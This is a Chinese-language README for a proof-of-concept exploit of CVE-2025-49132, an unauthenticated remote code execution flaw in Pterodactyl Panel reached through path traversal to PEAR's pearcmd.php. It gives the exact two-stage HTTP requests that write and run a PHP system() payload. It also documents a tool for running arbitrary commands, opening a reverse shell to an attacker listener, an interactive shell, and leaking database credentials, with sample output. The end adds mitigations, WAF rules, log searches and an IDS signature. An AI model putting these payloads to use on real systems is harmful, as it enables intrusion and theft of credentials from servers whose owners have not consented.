
CVE-2025-49132_PHP_PEAR_METHOD
本仓库包含针对 CVE-2025-49132 的概念验证(PoC)利用代码,该漏洞是 Pterodactyl Panel 1.11.11 之前版本中的一个严重未授权远程代码执行漏洞。
Pterodactyl Panel 是一个免费、开源的游戏服务器管理面板,使用 PHP 构建。该漏洞允许未授权攻击者通过不当处理 /locales/locale.json 端点并结合 PHP PEAR 的 pearcmd.php 功能,在目标服务器上执行任意系统命令。
PHP PEAR(PHP 扩展与应用仓库)是一个用于可重用 PHP 组件的框架和分发系统。它提供了一个命令行工具(pearcmd.php),可用于管理 PEAR 包。
pearcmd.php 文件通过 URL 参数处理命令,当与路径遍历结合时,可被利用来:
漏洞存在的原因如下:
/locales/locale.json 中的 locale 参数允许路径遍历,且未经过适当验证pearcmd.php 脚本接受 +config-create 命令,该命令可以写入任意 PHP 文件攻击者可以:
config-create 命令将恶意 PHP 代码写入 /tmp利用分两个阶段进行:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
分解说明:
+config-create+/ - 调用 PEAR 的 config 创建功能locale=../../../../../../usr/share/php/PEAR - 路径遍历到 PEAR 目录namespace=pearcmd - 以 pearcmd.php 文件为目标<?=system('id')?>+/tmp/payload.php - PHP payload 和目标文件GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
分解说明:
locale=../../../../../../tmp - 路径遍历到 /tmp 目录namespace=payload - 包含并执行 payload.php该利用需要在 URL 中发送特殊字符(<, >, ?, =)而不进行编码。如果这些字符被 URL 编码:
<?=system('id')?> 将变成 %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[攻击者] -->|1. 路径遍历请求| B[locale.json]
B -->|2. 遍历到 PEAR| C[pearcmd.php]
C -->|3. config-create 命令| D[写入 PHP Payload]
D -->|4. 创建文件| E[payload.php]
E -->|5. 文件创建成功| F[服务器文件系统]
A -->|6. 执行请求| G[locale.json]
G -->|7. 遍历到 tmp| E
E -->|8. 包含并执行| H[PHP 解释器]
H -->|9. 系统命令| I[Shell 命令]
I -->|10. 命令输出| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant 攻击者
participant Web 服务器
participant PEAR
participant 文件系统
participant PHP 引擎
攻击者->>Web 服务器: GET locale.json with config-create
Web 服务器->>PEAR: 路径遍历到 pearcmd
PEAR->>文件系统: 创建 payload.php
文件系统-->>攻击者: 200 OK
攻击者->>Web 服务器: GET locale.json with payload namespace
Web 服务器->>文件系统: 路径遍历到 payload.php
文件系统->>PHP 引擎: 包含 payload
PHP 引擎->>PHP 引擎: 执行系统命令
PHP 引擎-->>攻击者: 命令输出 (RCE)
requests 库git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
或者手动安装:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# 在攻击者机器上启动监听器
nc -lvnp 4444
# 使用反弹 shell 执行利用
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
通过配置泄露(数据库凭据、应用密钥)检查是否存在 CVE-2025-49132。
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
显示详细进度(payload 创建、PEAR 路径、执行状态)。
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help 显示此帮助信息并退出
-H HOST, --host HOST 目标主机(例如 192.168.1.100 或 example.com)
-c COMMAND 要在目标系统上执行的命令
-r REVERSE_SHELL 反弹 shell(格式:LHOST:LPORT)
--shell 交互式伪 Shell 模式
--fuzz 模糊测试 PEAR 安装路径
--scan 扫描目标是否存在漏洞(配置泄露)
-p PEAR_PATH 自定义 PEAR 路径(默认:/usr/share/php/PEAR)
-e ENDPOINT 易受攻击的端点(默认:/locales/locale.json)
--ssl 使用 HTTPS
--timeout TIMEOUT 请求超时时间(秒,默认:10)
-v, --verbose 显示详细进度输出
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] 命令输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
使用 -v 可查看详细输出(payload 细节、PEAR 路径等)。
# 终端 1:启动监听器
$ nc -lvnp 4444
listening on [any] 4444 ...
# 终端 2:执行利用
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] 请确保您的监听器正在运行:nc -lvnp 4444
# 终端 1:接收连接
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] 找到 3 个潜在的 PEAR 安装路径:
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] 使用 -p 标志并指定其中一个路径进行利用
使用 -v 可查看每个路径的模糊测试进度。
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] 正在扫描:http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] 存在漏洞 - 数据库凭据泄露
主机: 127.0.0.1
端口: 3306
数据库: panel
用户名: pterodactyl
密码: ********
连接: pterodactyl:********@127.0.0.1:3306/panel
[+] 存在漏洞 - 应用程序配置泄露
应用密钥:base64{...}
[!] 安全警告:APP_KEY 已暴露!
-------------------------------------------------------
[+] 目标存在 CVE-2025-49132 漏洞
更新 Pterodactyl Panel
cd /var/www/pterodactyl
php artisan p:upgrade
更新至 1.11.11 或更高版本。
禁用易受攻击的端点(临时解决方案)
将其添加到您的 Web 服务器配置中:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
注意:这将破坏本地化功能。
Web 应用防火墙(WAF)
实施 WAF 规则以阻止路径遍历尝试:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale 和 namespace 参数实施严格验证realpath() 解析和验证文件路径日志分析 - 查找可疑模式:
# Apache/Nginx 访问日志
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# 查找 payload 文件
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
IDS/IPS 签名:
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
仅供教育和授权测试使用
此概念验证利用代码仅供教育和授权安全测试使用。作者对因使用本程序造成的任何误用或损害不承担任何责任。
未经授权访问计算机系统是违法的。 用户有责任确保遵守适用的法律法规。
xffsec
| 联系方式 |
|---|
| GitHub: @xffsec |
| 邮箱: [email protected] |
本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。
欢迎贡献、提交问题或功能请求!请随时提出问题或提交拉取请求。
⚠️ 请记住:始终进行负责任的披露,切勿在未获得适当授权的情况下利用漏洞。